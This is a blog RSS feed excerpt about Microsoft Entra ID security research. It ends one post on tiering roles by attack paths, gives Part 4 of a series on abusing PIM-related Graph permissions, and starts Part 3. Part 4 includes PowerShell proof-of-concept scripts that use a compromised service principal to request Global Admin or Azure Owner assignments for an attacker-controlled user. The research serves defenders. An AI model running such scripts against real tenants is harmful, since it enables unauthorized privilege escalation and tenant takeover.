&lt;p&gt;As previously mentioned, the tiering of Entra roles and application permissions is based on &lt;strong&gt;known&lt;/strong&gt; techniques for privilege escalations. Obviously, this makes the models only as good as the research that has been conducted around those assets. I have conducted a fair amount of research myself while categorizing those assets, but the model definitely has room for improvement. I hope that a community-based effort can help improving and maintaining the overall quality over time, as assets evolve and new privilege escalations are discovered.&lt;/p&gt;

&lt;p&gt;For companies using the presented tier models as a base for developing their own tiering, they should be aware that &lt;strong&gt;any custom role or application permission&lt;/strong&gt; they have defined themselves (technically called “application roles” if the latter are custom) &lt;strong&gt;should be tested and tiered manually&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id=&quot;evolution-of-role-and-permission-capabilities-over-time&quot;&gt;Evolution of role and permission capabilities over time&lt;/h3&gt;

&lt;p&gt;Over time, the set of existing roles and permissions is almost certain to evolve, as Microsoft is likely to add and remove some of them with the evolution of the Entra ID platform. Each addition will require testing for privilege escalations, while removals will require updating the relevant tier model accordingly. Additionally, new capabilities may theoretically be added silently to existing roles and permissions, which may modify the tiering of an asset without warning.&lt;/p&gt;

&lt;p&gt;The project uses some level of automation to detect the addition of new roles and permissions by Microsoft, using a similar approach to &lt;a href=&quot;https://github.com/emiliensocchi/az-role-watcher&quot;&gt;AzRoleWatcher&lt;/a&gt;. New additions are reviewed and added to the relevant models as soon as possible, but this is where the automation currently stops.&lt;/p&gt;

&lt;h2 id=&quot;future-work&quot;&gt;Future work&lt;/h2&gt;

&lt;h3 id=&quot;automated-tiering-via-continuous-testing&quot;&gt;Automated tiering via continuous testing&lt;/h3&gt;

&lt;p&gt;In the long term, I would like to tackle the limitations of this project through full automation. The idea is to make a library of modules for Tier-0 operations, run every single role/permission through those modules in a dedicated tenant every night, and verify their effective capabilities continuously. Here are a few examples of what Tier-0 operations could be:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Creating a new credential for an existing service principal&lt;/li&gt;
  &lt;li&gt;Resetting the password of a user assigned a Tier-0 Entra role&lt;/li&gt;
  &lt;li&gt;Assigning a Tier-0 Entra role to a security principal&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Thanks to this automated approach, silent updates of roles and permissions could be detected on the spot, regardless of the information provided through documentation, namespaces or role actions. Additionally, custom roles and permissions defined by enterprise organizations would be automatically tested once the project is imported to their tenant.&lt;/p&gt;

&lt;p&gt;When and how this project will happen is unclear for now, as I am about to go on a break for the rest of the year. However, leveraging an existing tool such as &lt;a href=&quot;https://x.com/_wald0&quot;&gt;Andy Robbins&lt;/a&gt;’ &lt;a href=&quot;https://github.com/BloodHoundAD/BARK&quot;&gt;BloodHound Attack Research Kit (BARK)&lt;/a&gt; or similar is probably the approach that will be favored at some point. The core of the project lies mostly in setting up the automation and develop a complete set of Tier-0 operations.&lt;/p&gt;

&lt;h3 id=&quot;tiering-other-cloud-assets-based-on-known-attack-paths&quot;&gt;Tiering other cloud assets based on known attack paths&lt;/h3&gt;

&lt;p&gt;This first release contains tier models for 2 sets of administrative assets:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Entra roles&lt;/li&gt;
  &lt;li&gt;MS Graph application permissions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the long term, I plan on developing similar tier models for the following assets, as I work with them daily:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles&quot;&gt;Azure roles&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/identity&quot;&gt;Cloud Identity roles&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/iam/docs/understanding-roles&quot;&gt;GCP roles&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note that I do not plan on including anything related to AWS, as I simply do not work with the platform.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;The presented project is a humble attempt at creating a tier model based on attack paths, to understand the security implication of administrative assets in MS Graph, Entra ID and later Azure. The project does not mean to replace the EAM, but rather propose a different approach to tiering administrative assets.&lt;/p&gt;

&lt;p&gt;It is important to keep in mind that the current tiering is based on my own understanding of attack paths within MS Graph and Entra ID. It is therefore highly possible that some assets are categorized inappropriately, but I hope that a community-driven approach can reduce the amount of miscategorized assets and enhance research around them.&lt;/p&gt;
</description>
          <pubDate>2024-08-07T00:00:00+00:00</pubDate>
          <link>https://www.emiliensocchi.io/tiering-entra-roles-and-application-permissions-based-on-attack-paths/</link>
          <guid isPermaLink="true">https://www.emiliensocchi.io/tiering-entra-roles-and-application-permissions-based-on-attack-paths/</guid>
        </item>
      
    
      
        <item>
          <title>Abusing PIM-related application permissions in Microsoft Graph - Part 4</title>
          <description>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;In the &lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-1&quot;&gt;first&lt;/a&gt; and &lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-2&quot;&gt;second&lt;/a&gt; part of this series, we respectively discussed how application permissions related to eligible and active assignments in PIM can be abused to escalate to Global Admin. In the &lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-3&quot;&gt;third part&lt;/a&gt;, we discussed how additional permissions can be abused to disable constraints put on role assignments, eligibilities and activations.&lt;/p&gt;

&lt;p&gt;In this final part of the series, we will discuss remaining application permissions used in older versions of PIM.&lt;/p&gt;

&lt;h3 id=&quot;overview-of-the-series-&quot;&gt;Overview of the series &lt;a id=&quot;series-overview&quot;&gt;&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;This series, which discusses the abuse of PIM-related application permissions in Microsoft Graph, is structured as follows:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-1&quot;&gt;&lt;strong&gt;Part 1&lt;/strong&gt;: Escalating to Global Admin via active assignments&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-2&quot;&gt;&lt;strong&gt;Part 2&lt;/strong&gt;: Escalating to Global Admin via eligible assignments&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-3&quot;&gt;&lt;strong&gt;Part 3&lt;/strong&gt;: Bypassing assignment, eligibility and activation requirements&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-4&quot;&gt;&lt;strong&gt;Part 4&lt;/strong&gt;: Investigating legacy permissions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;what-permissions-are-addressed-in-this-post&quot;&gt;What permissions are addressed in this post?&lt;/h3&gt;

&lt;p&gt;This post discusses the following MS Graph application permissions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazuread&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureAD&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureresources&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureResources&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;investigating-remaining-pim-related-permissions&quot;&gt;Investigating remaining PIM-related permissions&lt;/h2&gt;

&lt;p&gt;The documentation describing  &lt;a href=&quot;https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-apis&quot;&gt;PIM API history&lt;/a&gt; informs us that the PIM API has had quite a few iterations since its initial release. Currently in its third version, the documentation informs us that Iteration 1 was deprecated in June 2021, while Iteration 2 will &lt;em&gt;eventually&lt;/em&gt; be deprecated in the future.&lt;/p&gt;

&lt;p&gt;So far in this series, we have investigated application permissions used in Iteration 3 of the PIM service. The most observant readers might have noticed that the remaining &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazuread&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureAD&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureresources&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureResources&lt;/code&gt;&lt;/a&gt; permissions target the same backend resource (i.e. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess&lt;/code&gt;) as the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; permission, which we discussed in &lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-1&quot;&gt;part 1&lt;/a&gt; of the series. Therefore, it would be natural for the two remaining permissions to be usable with PIM Iteration 3.&lt;/p&gt;

&lt;h3 id=&quot;testing-with-pim-iteration-3&quot;&gt;Testing with PIM Iteration 3&lt;/h3&gt;

&lt;p&gt;As explained in the &lt;a href=&quot;https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-apis#pim-for-azure-resources&quot;&gt;PIM documentation&lt;/a&gt;, Azure role assignments in PIM Iteration 3 are built on top of the Azure Resource Manager (ARM) API. Thus, using the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureresources&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureResources&lt;/code&gt;&lt;/a&gt; permission in PIM Iteration 3 is not possible.&lt;/p&gt;

&lt;p&gt;Regarding &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazuread&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureAD&lt;/code&gt;&lt;/a&gt;, the scope of the permission (i.e. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AzureAD&lt;/code&gt;) indicates that it should provide access to Entra (previously Azure AD) role assignments via PIM. By re-using the PowerShell code we created to assign Entra roles in &lt;a href=&quot;#series-overview&quot;&gt;previous parts&lt;/a&gt; of this series, we can easily test if the permission can be used in Iteration 3 of the PIM service. Here is an example with a code snippet creating an active Entra role assignment from &lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-1&quot;&gt;part 1&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/01_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/01_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Set SP info
$tid = &apos;&apos;
$appId = &apos;&apos;
$password = &apos;&apos;

# Set user info
$userId = &apos;&apos;

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request active PIM role assignment 
$roleDefinitionId = &apos;62e90394-69f5-4237-9190-012177145e10&apos; # current: Global Admin (replace with any role Id)
$yesterday = (get-date).AddDays(-1).ToString(&quot;yyyy-MM-ddTHH:mm:ss.000Z&quot;)
$uri = &apos;https://graph.microsoft.com/beta/roleManagement/directory/roleAssignmentScheduleRequests&apos;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}

$activeAssignment = @{
    action = &apos;adminAssign&apos;
    justification = &apos;PoC&apos;
    roleDefinitionId = $roleDefinitionId
    directoryScopeId = &apos;/&apos;
    principalId = $userId
    scheduleInfo = @{
        startDateTime = $yesterday
        expiration = @{
            type = &apos;NoExpiration&apos;
        }
    }
}

$body = ConvertTo-Json -InputObject $activeAssignment
$response = Invoke-WebRequest -Method Post -Uri $uri -Headers $headers -Body $body
$response
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately, all attempts to PIM-3 endpoints return an error message similar to the following, which indicates that the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazuread&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureAD&lt;/code&gt;&lt;/a&gt; permission is &lt;strong&gt;not&lt;/strong&gt; in the list of authorized application permissions for the endpoints in that iteration of the service:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/02_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/02_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;testing-with-pim-iteration-2&quot;&gt;Testing with PIM Iteration 2&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/api/governanceroleassignmentrequest-post?view=graph-rest-beta&amp;amp;tabs=http&quot;&gt;MS Graph documentation&lt;/a&gt; describing the use of PIM Iteration 2 contains explicit information about the remaining application permissions. This is definitely interesting! Oddly enough, the documentation indicates that both permissions seem limited to &lt;strong&gt;delegated&lt;/strong&gt; workflows using a work or school account, while pure application-based workflows do &lt;strong&gt;not&lt;/strong&gt; seem supported:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/03_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/03_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Regardless of what the documentation states, let’s test if the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazuread&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureAD&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureresources&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureResources&lt;/code&gt;&lt;/a&gt; permissions can somehow be abused via Iteration 2 of the PIM API. Similar to the scenarios in &lt;a href=&quot;#series-overview&quot;&gt;other parts&lt;/a&gt; of this series, we will assume we have compromised a service principal with the remaining permissions, and that we control an unprivileged user account with no assigned Entra role:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/04_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/04_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/05_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/05_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The PowerShell code leveraging the “Harmless app” to assign the Global Admin role to our “Harmless user account” with Iteration 2 of the PIM API is as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;## Set SP info
$tid = &apos;&apos;
$appid = &apos;&apos;
$password = &apos;&apos;

# Set user info
$userId = &apos;&apos;

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request active Entra role assignment
$roleDefinitionId = &apos;62e90394-69f5-4237-9190-012177145e10&apos; # current: Global Admin (replace with any role Id)
$yesterday = (get-date).AddDays(-1).ToString(&quot;yyyy-MM-ddTHH:mm:ss.000Z&quot;)
$inOneYear = (get-date).AddYears(1).ToString(&quot;yyyy-MM-ddTHH:mm:ss.000Z&quot;)

$uri = &apos;https://graph.microsoft.com/beta/privilegedAccess/aadRoles/roleAssignmentRequests&apos;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}

$eligibleAssignment = @{
    type = &apos;AdminAdd&apos;
    reason = &apos;PoC&apos;
    roleDefinitionId = $roleDefinitionId
    resourceId = $tid
    subjectId = $userId
    assignmentState = &apos;Active&apos;
    scheduleInfo = @{
        startDateTime = $yesterday
        endDateTime = $inOneYear
        type = &apos;Once&apos;
    }
}

$body = ConvertTo-Json -InputObject $eligibleAssignment
$response = Invoke-WebRequest -Method Post -Uri $uri -Headers $headers -Body $body
$response
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Similarly, the PowerShell code assigning the Owner role to our “Harmless user account” on an Azure subscription using PIM Iteration 2 is as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;## Set SP info
$tid = &apos;&apos;
$appid = &apos;&apos;
$password = &apos;&apos;

# Set user info
$userId = &apos;&apos;

# Set Azure info
$ownerRoleDefinitionId = &apos;8e3af657-a8ff-443c-a75c-2fe8c4bcb635&apos;     
$azureScopeId = &apos;&apos; # ID of subscription, rg, individual resource

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request active Azure role assignment
$yesterday = (get-date).AddDays(-1).ToString(&quot;yyyy-MM-ddTHH:mm:ss.000Z&quot;)
$inOneYear = (get-date).AddYears(1).ToString(&quot;yyyy-MM-ddTHH:mm:ss.000Z&quot;)

$uri = &apos;https://graph.microsoft.com/beta/privilegedAccess/azureResources/roleAssignmentRequests&apos;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}

$eligibleAssignment = @{
    type = &apos;AdminAdd&apos;
    reason = &apos;PoC&apos;
    roleDefinitionId = $OwnerRoleDefinitionId
    resourceId = $azureScopeId
    subjectId = $userId
    assignmentState = &apos;Active&apos;
    scheduleInfo = @{
        startDateTime = $yesterday
        endDateTime = $inOneYear
        type = &apos;Once&apos;
    }
}

$body = ConvertTo-Json -InputObject $eligibleAssignment
$response = Invoke-WebRequest -Method Post -Uri $uri -Headers $headers -Body $body
$response
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For both endpoints, attempting to create a new role assignment in Iteration 2 of the PIM API returns the following error:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/06_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/06_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This seems to indicate that the use of application permissions is not allowed by Iteration 2 of the PIM APIs. However, as the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/api/governanceroleassignmentrequest-post?view=graph-rest-beta&amp;amp;tabs=http&quot;&gt;documentation&lt;/a&gt; states, using permissions as delegated was no problem.&lt;/p&gt;

&lt;h3 id=&quot;testing-with-pim-iteration-1&quot;&gt;Testing with PIM Iteration 1&lt;/h3&gt;

&lt;p&gt;Despite being deprecated, testing the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazuread&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureAD&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureresources&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureResources&lt;/code&gt;&lt;/a&gt; permissions with Iteration 1 of the PIM API is worth a shot, if they can be abused this way.&lt;/p&gt;

&lt;p&gt;As expected however, GET requests to any PIM-1 endpoint return a “403 Forbidden” response with the following error message:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/07_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/07_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Interesting enough, we could interpret the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TenantEnabledInAadRoleMigration&lt;/code&gt; error code as an indicator that our tenant has been enrolled for migration to newer iterations of PIM, implying that older tenants created &lt;em&gt;before&lt;/em&gt; the deprecation may have &lt;em&gt;not&lt;/em&gt; been migrated. However, it is important to note that the above PowerShell code has been tested in a tenant created long before the deprecation of PIM Iteration 1 in &lt;a href=&quot;https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-apis#iteration-1--deprecated&quot;&gt;June 2021&lt;/a&gt;. It is therefore unlikely that tenants with PIM-1 endpoints still enabled exist at all.&lt;/p&gt;

&lt;p&gt;When investigating the endpoints further, the use of any HTTP method other than GET returns a “500 Internal Server Error”, indicating that the backend functions handling PIM-1 requests have probably been removed entirely from the code base:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/08_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-08-06-abusing-pim-related-application-permissions-part-4/08_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For reference, here is the PowerShell code I used for the base GET request:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;## Set SP info
$tid = &apos;&apos;
$appid = &apos;&apos;
$password = &apos;&apos;

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request active Entra role assignment
$roleDefinitionId = &apos;62e90394-69f5-4237-9190-012177145e10&apos; # current: Global Admin (replace with any role Id)

$uri = &quot;https://graph.microsoft.com/beta/privilegedRoles/$roleDefinitionId/settings&quot;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}

$response = Invoke-WebRequest -Method Get -Uri $uri -Headers $headers
$response
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Based on the observations described in this post, I have not found a scenario where a compromised service principal with the granted &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazuread&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureAD&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureresources&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureResources&lt;/code&gt;&lt;/a&gt; application permission can be abused for privilege escalation. However, I encourage other researchers to verify and dig deeper in those permissions to see if something else is possible.&lt;/p&gt;

&lt;p&gt;This concludes our series. I hope it clarified the use of PIM-related application permissions, how they can be abused to escalate to Global Admin, and why they should be classified as Tier-0.&lt;/p&gt;
</description>
          <pubDate>2024-08-06T00:00:00+00:00</pubDate>
          <link>https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-4/</link>
          <guid isPermaLink="true">https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-4/</guid>
        </item>
      
    
      
        <item>
          <title>Abusing PIM-related application permissions in Microsoft Graph - Part 3</title>
          <description>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;In the &lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-1/&quot;&gt;first&lt;/a&gt; and &lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-2/&quot;&gt;second&lt;/a&gt; part of this series, we respectively discussed how application permissions related to eligible and active assignments in PIM can be abused to escalate to Global Admin.&lt;/p&gt;

&lt;p&gt;In tenants relatively mature in terms of cloud security, eligible and active assignments are often constrained to meeting additional security requirements. In this part, we will take a closer look at how those constrains can be disabled to keep leveraging the Tier-0 permissions previously discussed, and still escalate to Global Admin in environments with strict PIM settings.&lt;/p&gt;

&lt;h3 id=&quot;overview-of-the-series&quot;&gt;Overview of the series&lt;/h3&gt;

&lt;p&gt;This series, which discusses the abuse of PIM-related application permissions in Microsoft Graph, is structured as follows:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-1&quot;&gt;&lt;strong&gt;Part 1&lt;/strong&gt;: Escalating to Global Admin via active assignments&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-2&quot;&gt;&lt;strong&gt;Part 2&lt;/strong&gt;: Escalating to Global Admin via eligible assignments&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-3&quot;&gt;&lt;strong&gt;Part 3&lt;/strong&gt;: Bypassing assignment, eligibility and activation requirements&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-4&quot;&gt;&lt;strong&gt;Part 4&lt;/strong&gt;: Investigating legacy permissions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;what-permissions-are-addressed-in-this-post&quot;&gt;What permissions are addressed in this post?&lt;/h3&gt;

&lt;p&gt;This post discusses the following MS Graph application permissions:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementpolicyreadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagementPolicy.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementpolicyreadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagementPolicy.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;overview-of-pim-settings&quot;&gt;Overview of PIM settings&lt;/h2&gt;

&lt;p&gt;The Microsoft &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/identity-governance-pim-rules-overview&quot;&gt;documentation&lt;/a&gt; describes the relationship between PIM settings in the portal and their Graph implementation as follows:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;In Microsoft Graph, the role settings are called rules. These rules are grouped in, assigned to, and managed for Microsoft Entra roles and groups through containers called policies.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;understanding-role-management-policies&quot;&gt;Understanding role management policies&lt;/h3&gt;

